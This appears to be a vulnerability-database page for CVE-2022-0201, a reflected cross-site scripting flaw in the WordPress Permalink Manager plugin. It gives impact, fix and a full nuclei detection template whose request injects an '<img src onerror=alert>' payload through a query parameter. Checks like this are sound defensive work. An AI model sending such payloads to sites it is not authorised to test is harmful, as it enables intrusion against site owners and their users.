HexBrain

Browse / CVEs / CVE-2022-0201

CVE-2022-0201· permalink manager lite project / permalink manager lite· CWE-79

WordPress Permalink Manager <2.2.15 - Cross-Site Scripting

mediumseverity
6.1CVSS score
3.4%likelihood of exploitation, next 30 days
89%of all CVEs are less likely
Readycheck to confirm it

WordPress Permalink Manager Lite and Pro plugins before 2.2.15 contain a reflected cross-site scripting vulnerability. They do not sanitize and escape query parameters before outputting them back in the debug page.

Impact

Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into web pages viewed by users, leading to potential data theft, session hijacking, or defacement of the affected website.

Fix

Update to WordPress Permalink Manager version 2.2.15 or later to mitigate the vulnerability.

How to confirm it

Send: GET {{BaseURL}}/index.php?p=%3Cimg%20src%20onerror=alert(/XSS/)%3E&debug_url=1
Positive when: contains "<img src onerror=alert(/XSS/)>" and "pm_query" AND contains in header "text/html"

Run it with nuclei: nuclei -id CVE-2022-0201 -u <target>. This check is not marked as verified by its authors.

The full check
id: CVE-2022-0201

info:
  name: WordPress Permalink Manager <2.2.15 - Cross-Site Scripting
  author: Akincibor
  severity: medium
  description: |
    WordPress Permalink Manager Lite and Pro plugins before 2.2.15 contain a reflected cross-site scripting vulnerability. They do not sanitize and escape query parameters before outputting them back in the debug page.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into web pages viewed by users, leading to potential data theft, session hijacking, or defacement of the affected website.
  remediation: |
    Update to WordPress Permalink Manager version 2.2.15 or later to mitigate the vulnerability.
  reference:
    - https://wpscan.com/vulnerability/f274b0d8-74bf-43de-9051-29ce36d78ad4
    - https://plugins.trac.wordpress.org/changeset/2656512
    - https://github.com/ARPSyndicate/cvemon
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2022-0201
    cwe-id: CWE-79
    epss-score: 0.03368
    epss-percentile: 0.8885
    cpe: cpe:2.3:a:permalink_manager_lite_project:permalink_manager_lite:*:*:*:*:*:wordpress:*:*
  metadata:
    max-request: 1
    vendor: permalink_manager_lite_project
    product: permalink_manager_lite
    framework: wordpress
  tags: cve,cve2022,wp-plugin,wpscan,xss,wordpress,permalink_manager_lite_project,vuln

http:
  - method: GET
    path:
      - '{{BaseURL}}/index.php?p=%3Cimg%20src%20onerror=alert(/XSS/)%3E&debug_url=1'

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '<img src onerror=alert(/XSS/)>'
          - 'pm_query'
        condition: and

      - type: word
        part: header
        words:
          - text/html

References

Use this check only on systems you are authorised to test. Where the data comes from